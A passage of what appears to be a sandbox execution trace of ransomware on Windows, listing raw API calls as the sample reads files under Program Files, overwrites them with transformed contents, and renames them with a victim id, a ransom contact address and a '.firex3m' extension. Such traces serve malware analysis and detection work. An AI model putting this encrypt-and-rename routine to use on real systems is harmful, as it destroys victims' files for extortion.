(HeapHandle=0x630000, Flags=0x0, Size=0xa0c1) returned 0x70dd910 [0235.339] GetProcessHeap () returned 0x630000 [0235.339] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa0c1) returned 0x7264620 [0235.339] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.340] ReadFile (in: hFile=0x640, lpBuffer=0x70dd910, nNumberOfBytesToRead=0xa0a0, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70dd910*, lpNumberOfBytesRead=0x447ff0c*=0xa0a0, lpOverlapped=0x0) returned 1 [0241.624] GetProcessHeap () returned 0x630000 [0241.624] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745b4c8 [0241.625] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.625] WriteFile (in: hFile=0x640, lpBuffer=0x7264620*, nNumberOfBytesToWrite=0xa0a0, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7264620*, lpNumberOfBytesWritten=0x447ff0c*=0xa0a0, lpOverlapped=0x0) returned 1 [0241.625] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.924] WriteFile (in: hFile=0x640, lpBuffer=0x726e6bf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x726e6bf*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0242.924] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.924] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0242.924] CloseHandle (hObject=0x640) returned 1 [0242.924] GetProcessHeap () returned 0x630000 [0242.924] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7264620 | out: hHeap=0x630000) returned 1 [0242.925] GetProcessHeap () returned 0x630000 [0242.925] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70dd910 | out: hHeap=0x630000) returned 1 [0242.925] GetProcessHeap () returned 0x630000 [0242.925] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745b4c8 | out: hHeap=0x630000) returned 1 [0242.996] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0242.996] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x56bee52a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa0cb, dwReserved0=0xb687496, dwReserved1=0x70dd908, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5240 [0242.996] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0242.996] Sleep (dwMilliseconds=0x1) [0243.005] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_TileLargeSquare.scale-100.png", len=0x92 | out: pbstr=0x447ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_TileLargeSquare.scale-100.png") returned 1 [0243.005] GetProcessHeap () returned 0x630000 [0243.005] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x541c) returned 0x6fe3bb0 [0243.005] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_TileLargeSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\money_tilelargesquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.015] Sleep (dwMilliseconds=0x1) [0243.019] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MarketConfiguration.xml", len=0x67 | out: pbstr=0x447ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MarketConfiguration.xml") returned 1 [0243.019] GetProcessHeap () returned 0x630000 [0243.019] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x549c) returned 0x6fe3bb0 [0243.019] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MarketConfiguration.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\marketconfiguration.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.024] Sleep (dwMilliseconds=0x1) [0243.035] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd", len=0x6b | out: pbstr=0x447ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd") returned 1 [0243.035] GetProcessHeap () returned 0x630000 [0243.035] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5498) returned 0x6fe3bb0 [0243.035] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.advertising.winmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.040] Sleep (dwMilliseconds=0x1) [0243.049] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html", len=0x74 | out: pbstr=0x447ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html") returned 1 [0243.049] GetProcessHeap () returned 0x630000 [0243.049] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5490) returned 0x6fe3bb0 [0243.049] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.advertising\\bootstrap.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.054] Sleep (dwMilliseconds=0x1) [0243.069] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_TileLargeSquare.scale-100.png", len=0x83 | out: pbstr=0x447ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_TileLargeSquare.scale-100.png") returned 1 [0243.069] GetProcessHeap () returned 0x630000 [0243.069] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x545c) returned 0x6fe3bb0 [0243.069] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_TileLargeSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\money_tilelargesquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.069] Sleep (dwMilliseconds=0x1) [0243.089] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_LogoSmall.targetsize-256.png", len=0x91 | out: pbstr=0x447ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_LogoSmall.targetsize-256.png") returned 1 [0243.089] GetProcessHeap () returned 0x630000 [0243.089] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x540c) returned 0x6fe3bb0 [0243.089] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_LogoSmall.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\money_logosmall.targetsize-256.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.091] Sleep (dwMilliseconds=0x1) [0243.100] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", len=0x65 | out: pbstr=0x447ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned 1 [0243.101] GetProcessHeap () returned 0x630000 [0243.101] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53f0) returned 0x6fe3bb0 [0243.101] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.116] Sleep (dwMilliseconds=0x1) [0243.151] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\resources.pri", len=0x64 | out: pbstr=0x447ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\resources.pri") returned 1 [0243.151] GetProcessHeap () returned 0x630000 [0243.151] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5368) returned 0x6fe3bb0 [0243.151] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.159] Sleep (dwMilliseconds=0x1) [0244.248] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html", len=0x71 | out: pbstr=0x447ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html") returned 1 [0244.248] GetProcessHeap () returned 0x630000 [0244.248] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f74) returned 0x6fe3bb0 [0244.248] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.advertising\\bootstrap.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.249] Sleep (dwMilliseconds=0x1) [0246.045] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\FM20.CHM", len=0x6a | out: pbstr=0x447ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\FM20.CHM") returned 1 [0246.045] GetProcessHeap () returned 0x630000 [0246.045] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e44) returned 0x6fe3bb0 [0246.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\FM20.CHM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\fm20.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0246.075] CloseHandle (hObject=0x42c) returned 1 [0246.075] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0246.075] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\FM20.CHM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\fm20.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\FM20.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\fm20.chm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0246.075] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0246.076] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\FM20.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f982, dwReserved0=0x74006e, dwReserved1=0x630061, cFileName="FM20.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="FM20CH~1.FIR")) returned 0x6d5400 [0246.076] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0246.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\FM20.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\fm20.chm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0246.076] GetProcessHeap () returned 0x630000 [0246.076] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7350be0 [0246.076] GetProcessHeap () returned 0x630000 [0246.076] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x735c010 [0246.076] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.076] ReadFile (in: hFile=0x42c, lpBuffer=0x7350be0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7350be0*, lpNumberOfBytesRead=0x447ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0252.399] GetProcessHeap () returned 0x630000 [0252.399] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0252.399] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.399] WriteFile (in: hFile=0x42c, lpBuffer=0x735c010*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x735c010*, lpNumberOfBytesWritten=0x447ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0252.400] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.400] WriteFile (in: hFile=0x42c, lpBuffer=0x736740f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x736740f*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0253.651] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.651] WriteFile (in: hFile=0x42c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0253.651] CloseHandle (hObject=0x42c) returned 1 [0253.651] GetProcessHeap () returned 0x630000 [0253.651] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x735c010 | out: hHeap=0x630000) returned 1 [0253.651] GetProcessHeap () returned 0x630000 [0253.651] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7350be0 | out: hHeap=0x630000) returned 1 [0253.651] GetProcessHeap () returned 0x630000 [0253.651] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0254.423] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.424] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\FM20.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5d230e5f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4f9a6, dwReserved0=0xb687496, dwReserved1=0x7350bd8, cFileName="FM20.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="FM20CH~1.FIR")) returned 0x6d4f40 [0254.424] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0254.424] Sleep (dwMilliseconds=0x1) [0254.442] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_TileMediumSquare.scale-100.png", len=0xa8 | out: pbstr=0x447ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_TileMediumSquare.scale-100.png") returned 1 [0254.442] GetProcessHeap () returned 0x630000 [0254.442] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e28) returned 0x6fe3bb0 [0254.442] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_TileMediumSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_tilemediumsquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.442] Sleep (dwMilliseconds=0x1) [0254.455] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml", len=0x73 | out: pbstr=0x447ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml") returned 1 [0254.455] GetProcessHeap () returned 0x630000 [0254.455] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dfc) returned 0x6fe3bb0 [0254.455] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.157] Sleep (dwMilliseconds=0x1) [0261.093] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", len=0x60 | out: pbstr=0x447ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned 1 [0261.093] GetProcessHeap () returned 0x630000 [0261.093] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ca8) returned 0x6fe3bb0 [0261.093] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.126] Sleep (dwMilliseconds=0x1) [0261.202] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\PREVIEW.GIF", len=0x6e | out: pbstr=0x447ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\PREVIEW.GIF") returned 1 [0261.202] GetProcessHeap () returned 0x630000 [0261.202] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c70) returned 0x6fe3bb0 [0261.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\compass\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0261.221] CloseHandle (hObject=0x5ec) returned 1 [0261.222] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0261.222] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\compass\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\compass\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0261.375] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.375] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", 